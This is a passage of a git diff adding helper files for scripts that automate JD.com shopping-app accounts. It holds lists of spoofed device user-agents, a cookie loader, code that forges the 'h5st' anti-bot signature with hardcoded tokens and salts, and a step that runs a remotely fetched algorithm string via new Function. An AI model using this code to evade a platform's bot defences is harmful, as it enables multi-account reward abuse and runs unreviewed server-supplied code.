'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;8.1.0;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,4;addressid/1477231693;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/21.15;apprpd/MyJD_Main;ref/https%3A%2F%2Fgold.jd.com%2F%3Flng%3D0.000000%26lat%3D0.000000%26sid%3D4584eb84dc00141b0d58e000583a338w%26un_area%3D19_1607_3155_62114;psq/0;ads/;psn/2c822e59db319590266cc83b78c4a943783d0077|46;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/3.49;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/7;ads/;psn/9e0e0ea9c6801dfd53f2e50ffaa7f84c7b40cd15|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad7,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.14;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/3;ads/;psn/956c074c769cd2eeab2e36fca24ad4c9e469751a|8;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', +] +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +const USER_AGENT = USER_AGENTS[randomNumber(0, USER_AGENTS.length)]; + +module.exports = { + USER_AGENT +} diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..41ab2b4 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 shufflewzc + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..034e848 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,21 @@ +# Security Policy + +## Supported Versions + +Use this section to tell people about which versions of your project are +currently being supported with security updates. + +| Version | Supported | +| ------- | ------------------ | +| 5.1.x | :white_check_mark: | +| 5.0.x | :x: | +| 4.0.x | :white_check_mark: | +| < 4.0 | :x: | + +## Reporting a Vulnerability + +Use this section to tell people how to report a vulnerability. + +Tell them where to go, how often they can expect to get an update on a +reported vulnerability, what to expect if the vulnerability is accepted or +declined, etc. diff --git a/TS_USER_AGENTS.ts b/TS_USER_AGENTS.ts new file mode 100644 index 0000000..a6026cc --- /dev/null +++ b/TS_USER_AGENTS.ts @@ -0,0 +1,237 @@ +import axios from "axios"; +import {format} from 'date-fns'; +import * as dotenv from "dotenv"; +import {Md5} from "ts-md5"; + +const CryptoJS = require('crypto-js') +dotenv.config() + +let fingerprint: string | number, token: string = '', enCryptMethodJD: any; + +const USER_AGENTS: Array = [ + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.0.2;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] + +function TotalBean(cookie: string) { + return { + cookie: cookie, + isLogin: true, + nickName: '' + } +} + +function getRandomNumberByRange(start: number, end: number) { + return Math.floor(Math.random() * (end - start) + start) +} + +let USER_AGENT = USER_AGENTS[getRandomNumberByRange(0, USER_AGENTS.length)]; + +async function getBeanShareCode(cookie: string) { + let {data} = await axios.post('https://api.m.jd.com/client.action', + `functionId=plantBeanIndex&body=${escape( + JSON.stringify({version: "9.0.0.1", "monitor_source": "plant_app_plant_index", "monitor_refer": ""}) + )}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, { + headers: { + Cookie: cookie, + Host: "api.m.jd.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": USER_AGENT + } + }) + if (data.data?.jwordShareInfo?.shareUrl) + return data.data.jwordShareInfo.shareUrl.split('Uuid=')![1] + else + return '' +} + +async function getFarmShareCode(cookie: string) { + let {data} = await axios.post('https://api.m.jd.com/client.action?functionId=initForFarm', `body=${escape(JSON.stringify({"version": 4}))}&appid=wh5&clientVersion=9.1.0`, { + headers: { + "cookie": cookie, + "origin": "https://home.m.jd.com", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "User-Agent": USER_AGENT, + "Content-Type": "application/x-www-form-urlencoded" + } + }) + + if (data.farmUserPro) + return data.farmUserPro.shareCode + else + return '' +} + +function requireConfig() { + let cookiesArr: string[] = [] + return new Promise(resolve => { + console.log('开始获取配置文件\n') + const jdCookieNode = require('./jdCookie.js'); + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve(cookiesArr) + }) +} + +function wait(timeout: number) { + return new Promise(resolve => { + setTimeout(resolve, timeout) + }) +} + +async function requestAlgo(appId = 10032) { + fingerprint = generateFp(); + return new Promise(async resolve => { + let {data} = await axios.post('https://cactus.jd.com/request_algo?g_ty=ajax', { + "version": "1.0", + "fp": fingerprint, + "appId": appId, + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }, { + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': USER_AGENT, + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + }) + if (data['status'] === 200) { + token = data.data.result.tk; + console.log('token:', token) + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + } else { + console.log(`fp: ${fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + resolve() + }) +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function getQueryString(url: string, name: string) { + let reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); + let r = url.split('?')[1].match(reg); + if (r != null) return unescape(r[2]); + return ''; +} + +function decrypt(stk: string, url: string, appId: number) { + const timestamp = (format(new Date(), 'yyyyMMddhhmmssSSS')) + let hash1: string; + if (fingerprint && token && enCryptMethodJD) { + hash1 = enCryptMethodJD(token, fingerprint.toString(), timestamp.toString(), appId.toString(), CryptoJS).toString(CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + fingerprint = 9686767825751161; + const str = `${token}${fingerprint}${timestamp}${appId}${random}`; + hash1 = CryptoJS.SHA512(str, token).toString(CryptoJS.enc.Hex); + } + let st: string = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getQueryString(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = CryptoJS.HmacSHA256(st, hash1.toString()).toString(CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat(appId.toString()), "".concat(token), "".concat(hash2)].join(";")) +} + +function h5st(url: string, stk: string, params: object, appId: number = 10032) { + for (const [key, val] of Object.entries(params)) { + url += `&${key}=${val}` + } + url += '&h5st=' + decrypt(stk, url, appId) + return url +} + +function getJxToken(cookie: string) { + function generateStr(input: number) { + let src = 'abcdefghijklmnopqrstuvwxyz1234567890'; + let res = ''; + for (let i = 0; i < input; i++) { + res += src[Math.floor(src.length * Math.random())]; + } + return res; + } + + let phoneId = generateStr(40); + let timestamp = Date.now().toString(); + let nickname = cookie.match(/pt_pin=([^;]*)/)![1]; + let jstoken = Md5.hashStr('' + decodeURIComponent(nickname) + timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy'); + return { + 'strPgtimestamp': timestamp, + 'strPhoneID': phoneId, + 'strPgUUNum': jstoken + } +} + +export default USER_AGENT +export { + TotalBean, + getBeanShareCode, + getFarmShareCode, + requireConfig, + wait, + getRandomNumberByRange, + requestAlgo, + decrypt, + getJxToken, + h5st +} diff --git a/USER_AGENTS.js b/USER_AGENTS.js new file mode 100644 index 0000000..9babee3 --- /dev/null +++ b/USER_AGENTS.js @@ -0,0 +1,51 @@ +const USER_AGENTS = [ + "jdapp;android;10.1.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.1.0;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.0;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.1.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.1.0;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.1.0;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.0;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.0;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.0;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.0;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.0;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 